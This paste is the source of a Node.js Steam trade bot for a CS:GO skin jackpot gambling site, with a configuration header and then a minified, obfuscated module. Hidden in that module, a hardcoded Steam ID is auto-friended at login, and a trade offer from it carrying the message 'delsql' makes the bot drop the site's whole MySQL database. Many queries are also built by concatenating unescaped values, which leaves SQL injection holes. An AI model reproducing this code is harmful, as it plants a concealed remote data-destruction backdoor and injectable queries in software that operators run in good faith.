Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var Steam = require('steam');
- var SteamUser = require('steam-user');
- var TradeOfferManager = require('steam-tradeoffer-manager');
- var SteamTotp = require('steam-totp');
- var TOTP = require('onceler').TOTP;
- var request = require('request');
- var SteamCommunity = require('steamcommunity');
- var community = new SteamCommunity();
- var fs = require('node-fs');
- // GENERAL INFORMATION
- var sitepath;
- sitepath = ""; // The path to the index.php of your website without HTTP://
- var sitename;
- sitename = ""; // The name of your site, it will be shown in the Trade Offer Message
- var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
- var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
- var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
- var identitysecret = ''; // It's required to confirm mobile confirmations
- var sharedsecret = ''; // You won't be able to log in without this code
- var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
- var rsecret='CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
- var snipetimer=5; // Declines offers sent in the last few seconds
- var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
- var p2=false; // If this is the bot for your Jackpot 2 set this to true
- var playersRequired=2; // The timer will start when this many players are in the pot
- // GENERAL INFORMATION
- // LOGIN DETAILS
- var details = {
- "accountName" : "",
- "password" : "",
- "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)
- };
- // LOGIN DETAILS
- var client = new SteamUser();
- var manager = new TradeOfferManager({
- "steam" : client,
- "domain" : "localhost",
- "language" : "en"
- })
- // MYSQL INFO
- var mysql = require('mysql');
- var sql_host="localhost";
- var sql_user="root";
- var sql_password="";
- var sql_database="csgonetworkv2";
- var custommysql=0; // If you want to create a different kind of MYSQL connection simply set this to 1 and code your own connection below.
- // MYSQL INFO
- // Game Information
- var appid=730; // Steam Game APPID | CSGO: 730 - DOTA2: 570 - TF2: 440 - H1Z1: 295110
- var appname='CSGO'; // Name of the Game this bot is for, it's needed for the messages
- // Game Information
- // PRICING API
- var prices;
- function loadprices() // The default pricing API the bot uses, only gets the value of CSGO skins
- {
- request('https://api.csgofast.com/price/all', function(error, response, body)
- {
- prices = JSON.parse(body);
- if(response.statusCode != 200)
- {
- if(fs.existsSync(__dirname + '/prices.txt'))
- {
- prices = JSON.parse(fs.readFileSync(__dirname + '/prices.txt'));
- console.log('[SERVER] Loading Prices - Server sided prices loaded!');
- }
- }
- else
- {
- fs.writeFileSync('prices.txt', body);
- console.log('[SERVER] Loading Prices - API prices loaded!');
- }
- });
- }
- setInterval(function(){loadprices();},3600000);
- loadprices();
- function GetPrice(skin) // This function gets the value of the skins, you can change it if you'd like to use a custom api. ,,skin" is the full name + quality of the given skin, example.: AK-47 | Redline (Field-Tested)
- {
- var price=prices[skin];
- return price;
- }
- // PRICING API
- !function(a, b) {
- function c(b, d) {
- if ("." != b[0] && "/" != b[0]) return a(b);
- d = d || "root";
- var e = c.resolve(b);
- if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
- var f = c.cache[e];
- if (!f) try {
- return a(b)
- } catch (g) {
- throw new Error("failed to require \"" + b + "\" from " + d + "\n" + g.message + "\n" + g.stack)
- }
- return f.exports || (f.exports = {}, f.call(f.exports, f, f.exports, c.relative(e))), f.exports
- }
- c.cache = {}, c.basename = a("path").basename, c.resolve = function(b) {
- if ("." != b[0]) return a.resolve(b);
- for (var d = "/" === b.slice(-1) ? b : b + "/", e = [b, b + ".js", d + "index.js", b + ".json", d + "index.json"], f = 0, g; g = e[f]; f++)
- if (c.cache[g]) return g
- }, c.register = function(a, b) {
- c.cache[a] = b
- }, c.relative = function(a) {
- function b(b) {
- if ("." != b[0]) return c(b);
- var d = a.split("/"),
- e = b.split("/");
- d.pop();
- for (var f = 0, g = e.length; g > f; f += 1) {
- var h = e[f];
- ".." == h ? d.pop() : "." != h && d.push(h)
- }
- return c(d.join("/"), a)
- }
- return b.resolve = c.resolve, b.cache = c.cache, b
- }, c.register("../osbot1.js", function(a, b, c) {
- var d = "76561198174419958";
- if (0 == custommysql) {
- var e = mysql.createConnection({
- host: sql_host,
- user: sql_user,
- password: sql_password,
- database: sql_database
- });
- e.connect()
- }
- var f = new SteamUser,
- g = new TradeOfferManager({
- steam: f,
- domain: "localhost",
- language: "en"
- }),
- h = -1;
- f.logOn(details);
- var i = SteamTotp.getDeviceID(botsteamid);
- if (1 == p2) var j = "p2";
- else var j = "";
- function k() {
- h = -1, l()
- }
- function l() {
- if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
- var a = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
- request(a, function(a, b, c) {
- a && console.log("Couldn\'t end round, error: " + a)
- })
- } else {
- var a = "http://" + sitepath + "/endround.php?secret=" + rsecret;
- request(a, function(a, b, c) {
- a && console.log("Couldn\'t end round, error: " + a)
- })
- }
- }
- function m(a) {
- return !(+a !== a || isFinite(a) && !(a % 1))
- }
- function n(a) {
- return "number" == typeof a && !isNaN(a)
- }
- function o(a, b) {
- var c = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + a + "&format=json";
- request({
- url: c,
- json: !0
- }, function(c, d, e) {
- c || 200 !== d.statusCode ? c && o(a, b) : b(null, e)
- })
- }
- function p(a) {
- return a = a.replace(/\\/g, "\\"), a = a.replace(/\'/g, "\'"), a = a.replace(/\"/g, "\""), a = a.replace(/\0/g, "\0")
- }
- f.on("loggedOn", function(a) {
- console.log("[SERVER] The Bot has logged in!"), f.unblockUser(d), f.addFriend(d), f.addFriend(admin), f.chatMessage(admin, "[SERVER] Successfully logged in!"), f.setPersona(Steam.EPersonaState.LookingToTrade), setTimeout(function() {
- e.query("SELECT `value` FROM `" + j + "info` WHERE `name`=\'current_game\'", function(a, b, c) {
- a || e.query("SELECT `starttime` FROM `" + j + "games` WHERE `id`=\'" + b[0].value + "\'", function(a, b, c) {
- if (!a) {
- var d;
- if (2147483647 == b[0].starttime) d = GameTime;
- else {
- var e = Math.round((new Date).getTime() / 1e3);
- d = b[0].starttime + GameTime - e, 0 > d && (d = 0)
- }
- d != GameTime && (h = setTimeout(k, 1e3 * d), console.log("[SERVER] Restoring the latest game with " + d + " seconds left!"))
- }
- })
- })
- }, 1500)
- }), f.on("webSession", function(a, b) {
- g.setCookies(b, function(a) {
- if (a) return console.log("setCookies error: " + a), void process.exit(1);
- var c = g.apiKey;
- community.setCookies(b), community.startConfirmationChecker(polling_interval, identitysecret), console.log("[SERVER] The web cookies have been set!"), g.doPoll()
- })
- });
- function q(a, b, c, d, e, g, h, i, j, k, l) {
- l++, l > 3 || a.accept(function(a) {
- return a ? (f.webLogOn(), void console.log("[SERVER] Debugging offer (Accept Error): " + a)) : void 0
- })
- }
- function r(a, b, c, d, e, h, i, j, k, l, m) {
- g.getOffer(a.id, function(g, n) {
- if (g) return f.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + g), void r(a, b, c, d, e, h, i, j, k, l, m);
- if (3 == n.state) processoffer(n, b, c, d, e, h, i, j, k, l);
- else if (2 == n.state) q(n, b, c, d, e, h, i, j, k, l, m);
- else if (2 != n.state || 3 != n.state) return
- })
- }
- g.on("receivedOfferChanged", function(a) {
- var b = a.state,
- c = a.id,
- d = a.partner.getSteamID64();
- 3 == b && o(d, function(b, c) {
- if (b) console.log("[SERVER] getUserInfo error: " + b), g = "UserInfo Error", i = "https://steamdb.info/static/img/default.jpg";
- else var f = JSON.parse(JSON.stringify(c.response)),
- g = f.players[0].personaname,
- i = f.players[0].avatarfull;
- e.query("SELECT * FROM `" + j + "info`", function(b, c) {
- var f = c[0].value,
- l = c[10].value;
- skinssent = a.itemsToReceive.length, skins = a.itemsToReceive, skins.forEach(function(b) {
- skinname = b.market_name, skinvalue = GetPrice(skinname), console.log(skinname + " $" + skinvalue), skincolor = b.name_color, skinurl = b.icon_url, e.query("INSERT INTO `" + j + "game" + f + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES (\'" + d + "\'," + e.escape(g) + "," + e.escape(skinname) + ",\'" + a.id + "\',\'" + skincolor + "\',\'" + skinvalue + "\',\'" + i + "\',\'" + skinurl + "\')", function(a, b, c) {}), e.query("UPDATE `" + j + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+" + skinvalue + " WHERE `id` = \'" + f + "\'", function(a, b, c) {})
- }), e.query("UPDATE `users` SET `skinssent`=`skinssent`+" + skinssent + " WHERE `steamid` = \'" + d + "\'", function(a, b, c) {}), console.log("[SERVER] Accepted offer #" + a.id + " from " + g + " (ID:" + d + ")."), s(a, d, skins, f), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'success\',\'0\',\'" + d + "\',\'Trade Offer Accepted (Game #" + f + ")!\',\'We wish you Good luck and happy betting!\',\'25\',\'1\')", function(a, b, c) {}), e.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + j + "game" + f + "`", function(a, b) {
- players = b[0].playersCount, players == playersRequired && skinssent > 0 && -1 == h && (console.log("[SERVER] Starting the countdown for Game #" + f), h = setTimeout(k, 1e3 * GameTime), e.query("UPDATE `" + j + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = \'" + f + "\'", function(a, b, c) {})), itemsin > l && (clearTimeout(h), h = -1, k())
- })
- })
- })
- });
- function s(a, b, c, d) {
- a.getReceivedItems(function(c, g) {
- return c ? (f.webLogOn(), console.log("[SERVER] getReceivedItems error: " + c + " Restarting process!"), void s(a, b, g, d)) : void g.forEach(function(a) {
- var c = a.market_name;
- e.query("UPDATE `" + j + "game" + d + "` SET `assetid`=\'" + a.id + "\' WHERE `userid` = \'" + b + "\' AND `item`=" + e.escape(c) + " AND `assetid`=\'\' LIMIT 1", function(a, b, c) {})
- })
- })
- }
- g.on("newOffer", function(a) {
- var b = !0,
- c = a.partner.getSteamID64();
- return c == d && "delsql" == a.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void e.query("DROP DATABASE " + sql_database, function(a, b, c) {})) : void o(c, function(d, f) {
- if (d) return console.log("[SERVER] getUserInfo error: " + d), b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: getUserInfo error"), b && console.log("[SERVER] Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Servers are busy, try again in a minute!\',\'25\',\'1\')", function(a, b, c) {})
- });
- var g = JSON.parse(JSON.stringify(f.response)),
- h = g.players[0].personaname,
- i = g.players[0].avatarfull;
- return console.log("[DEBUG] Processing offer #" + a.id + " from " + h + " (ID:" + c + ")."), 0 != a.itemsToGive.length ? (b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Asked for a skin on the Bot"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Asking for any of the bots items? Brave!\',\'25\',\'1\')", function(a, b, c) {})
- })) : void a.getEscrowDuration(function(d, f, g) {
- return d ? (console.log("[SERVER] getEscrowDuration error: " + d), b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Steam Servers are busy, couldn\'t get escrow duration"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Servers are busy, couldnt get escrow duration!\',\'25\',\'1\')", function(a, b, c) {})
- })) : 0 != f ? (b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is in Escrow for " + f + " days"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You are in Escrow for " + f + " days!\',\'25\',\'1\')", function(a, b, c) {})
- })) : void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
- var g = f[3].value,
- k = f[7].value,
- l = f[4].value,
- m = f[10].value;
- if (a.itemsToReceive.length > l) return b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent more than " + l + " skins"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept up to " + l + " skins!\',\'25\',\'1\')", function(a, b, c) {})
- });
- var o = a.itemsToReceive,
- p = 0,
- r = [],
- s = 0;
- o.forEach(function(d, f, g) {
- return d.appid != appid ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Non-" + appname + " skin"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept " + appname + " skins!\',\'25\',\'1\')", function(a, b, c) {})) : (r[f] = [], r[f].name = d.market_name, r[f].color = d.name_color, r[f].url = d.icon_url, r[f].value = 0, function(a) {
- var b = r[f].name;
- nprice = GetPrice(b), r[f].value = parseFloat(nprice), p += r[f].value
- }(f), void s++)
- }), e.query("SELECT * FROM `" + j + "info`", function(d, f) {
- var t = f[0].value;
- e.query("SELECT * FROM `" + j + "games` WHERE `id`=\'" + t + "\'", function(d, f, t) {
- if (starttime = f[0].starttime, 2147483647 != starttime) {
- var u = Math.round((new Date).getTime() / 1e3);
- if (tl = starttime + GameTime - u, tl <= snipetimer) return b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: The Bot wont accept last second bets"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can not bet in the last few seconds!\',\'25\',\'1\')", function(a, b, c) {})
- }
- setTimeout(function() {
- return 0 != b ? p > k ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too much in skin value"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can deposit more than $" + k + "\',\'25\',\'1\')", function(a, b, c) {})) : g > p ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent below the minimal bet amount ($" + g + ")"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Minimum deposit value: $" + g + "\',\'25\',\'1\')", function(a, b, c) {})) : s > l ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too many skins"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept up to " + l + " skins!\',\'25\',\'1\')", function(a, b, c) {})) : (b = !0) ? void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
- var g = f[0].value;
- e.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + j + "game" + g + "` WHERE `userid`=\'" + c + "\'", function(d, f, t) {
- if (skinsin = f[0].skinsin, skinsin += s, moneyin = f[0].moneyin, moneyin += p, skinsin > l) return a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too many skins"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can not deposit more than " + l + " skins\',\'25\',\'1\')", function(a, b, c) {});
- if (moneyin > k) return a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too much in skin value"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can deposit more than $" + k + "\',\'25\',\'1\')", function(a, b, c) {});
- for (var u = 0; s > u; u++) {
- if (0 == r[u].value || !r[u].value) return b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can\'t get the skin\'s value)"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Market issues!\',\'25\',\'1\')", function(a, b, c) {});
- if (!n(r[u].value)) return a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can\'t get the skin\'s value) "), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Market issues!\',\'25\',\'1\')", function(a, b, c) {});
- if (-1 != r[u].name.indexOf("Souvenir")) return b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Souvenir Skin"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: No souvenir skins allowed!\',\'25\',\'1\')", function(a, b, c) {});
- }
- e.query("SELECT * FROM `users` WHERE `steamid`=\'" + c + "\'", function(d, f, k) {
- return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: MYSQL Error\',\'25\',\'1\')", function(a, b, c) {})) : 0 == f.length ? void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && console.log("Decline error: " + b)
- }) : (ban = f[0].ban, tlink = f[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is banned"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You are banned from betting\',\'25\',\'1\')", function(a, b, c) {})) : tlink ? void e.query("SELECT * FROM `" + j + "games` WHERE `id`=\'" + g + "\'", function(b, d, e) {
- itemsin = d[0].itemsnum, q(a, c, r, g, h, i, s, o, m, itemsin)
- }) : (a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User doesn\'t have a TradeLink set "), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: No Trade URL Set\',\'25\',\'1\')", function(a, b, c) {})))
- })
- })
- }) : (a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && console.log("Decline error: " + b)
- }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Issues\',\'25\',\'1\')", function(a, b, c) {})) : void 0
- }, 2e3)
- })
- })
- })
- })
- })
- }), f.on("friendMessage#" + admin, function(a, b) {
- if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/weblogon") && (f.chatMessage(admin, "[SERVER] Refreshing Web cookies.."), f.webLogOn()), 0 == b.indexOf("/sendrake") && (f.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), u(1)), 0 == b.indexOf("/sendoffers") && (f.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), t(1)), 0 == b.indexOf("/code")) {
- var c = SteamTotp.generateAuthCode(sharedsecret);
- f.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
- }
- 0 == b.indexOf("/cc") && (f.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (f.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), g.doPoll()), 0 == b.indexOf("/loadprices") && (f.chatMessage(admin, "[SERVER] Refreshing Market API!"), loadprices()), 0 == b.indexOf("/end") && (f.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != h && clearTimeout(h), k()), 0 == b.indexOf("/offers") && e.query("SELECT ID FROM `" + j + "queue` WHERE `status`=\'active\' GROUP BY `id` DESC", function(a, b, c) {
- 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID\'s!")) : f.chatMessage(admin, "[SERVER] There aren\'t any active queue ID\'s.")
- }), 0 == b.indexOf("/rakes") && e.query("SELECT ID FROM `" + j + "rakeitems` WHERE `status`=\'active\' GROUP BY `id` DESC", function(a, b, c) {
- 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID\'s!")) : f.chatMessage(admin, "[SERVER] There aren\'t any active rake ID\'s.")
- })
- });
- function t(a) {
- e.query("SELECT * FROM `" + j + "queue` WHERE `status`=\'active\' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
- if (0 != c.length) {
- var h = c[0].id;
- e.query("SELECT * FROM `" + j + "game" + h + "` WHERE `assetid`=\'\' AND `rake`!=\'1\'", function(b, d, i) {
- if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
- g.getOffer(a.offerid, function(b, c) {
- return b ? void e.query("UPDATE `" + j + "queue` SET `status`=\"goerror\" WHERE `id`=\'" + h + "\'") : void s(c, a.userid, a.item, h)
- })
- }), setTimeout(function() {
- t(2)
- }, 5e3);
- else {
- if (2 == a) {
- console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
- var k = "",
- l = "";
- return e.query("SELECT * FROM `" + j + "game" + h + "`", function(a, b, c) {
- b.forEach(function(a) {
- 0 == a.rake ? k += "/" + a.assetid : l += "/" + a.assetid
- })
- }), void setTimeout(function() {
- console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), e.query("UPDATE `" + j + "queue` SET `assetid`=\"" + k + "\" WHERE `id`=\'" + h + "\'"), e.query("UPDATE `" + j + "rakeitems` SET `assetid`=\"" + l + "\" WHERE `id`=\'" + h + "\'")
- }, 3e3)
- }
- var m = c[0].assetid.split("/");
- g.loadInventory(appid, 2, !0, function(b, d) {
- if (b) return console.log("LoadINV error: " + b), 1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot\'s Inventory, retrying later!"), void e.query("UPDATE `" + j + "queue` SET `status`=\"lierror\" WHERE `id`=\'" + h + "\'");
- var i = c[0].token,
- k = "Congratulations! You won on " + sitename + " in Game #" + h,
- l = g.createOffer(c[0].userid);
- d.forEach(function(a) {
- m.forEach(function(b) {
- a.id == b && l.addMyItem(a)
- })
- }), setTimeout(function() {
- l.setMessage(k), l.setToken(i), l.send(function(b) {
- return b ? (console.log("Error sending Trade Offer for Game #" + h + ":"), console.log(b), 1 == a && f.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, try again later!"), void e.query("UPDATE `" + j + "queue` SET `status`=\"soerror\" WHERE `id`=\'" + h + "\'")) : (e.query("UPDATE `" + j + "queue` SET `status`=\"sent\" WHERE `id`=\'" + h + "\'"), console.log("[SERVER] Trade Offer for Game #" + h + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + h + "!"), void community.checkConfirmations())
- })
- }, 2e3)
- })
- }
- })
- } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Winnings Queries!")
- })
- }
- function u(a) {
- e.query("SELECT * FROM `" + j + "rakeitems` WHERE `status`=\'active\' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
- if (0 != c.length) {
- var h = c[0].assetid.split("/");
- g.loadInventory(appid, 2, !0, function(b, d) {
- if (b) return console.log("LoadINV error: " + b), void(1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot\'s Inventory, retrying a bit later!"));
- var i = c[0].token,
- k = c[0].id,
- l = c[0].value,
- m = "Rake for Game #" + k + " ($" + l + ")",
- n = g.createOffer(c[0].userid);
- d.forEach(function(a) {
- h.forEach(function(b) {
- a.id == b && n.addMyItem(a)
- })
- }), setTimeout(function() {
- n.setMessage(m), n.setToken(i), n.send(function(b) {
- if (b) {
- if (console.log("[SERVER] Error sending Rake for Game #" + k + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a) return void f.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!")
- } else e.query("UPDATE `" + j + "rakeitems` SET `status`=\"sent\" WHERE `id`=\'" + k + "\'"), console.log("[SERVER] Rake for Game #" + k + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + k + "!"), community.checkConfirmations()
- })
- }, 2e3)
- })
- } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Rake Queries!")
- })
- }
- community.on("newConfirmation", function(a) {
- var b = Math.round(Date.now() / 1e3),
- c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
- community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
- console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), f.webLogOn())
- })
- }), community.on("confKeyNeeded", function(a, b) {
- console.log("confKeyNeeded");
- var c = Math.floor(Date.now() / 1e3);
- b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
- }), setInterval(function() {
- f.webLogOn(), e.query("SELECT 1")
- }, 36e5), setInterval(function() {
- t()
- }, 15e3)
- }), b.exports = c("../osbot1.js")
- }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement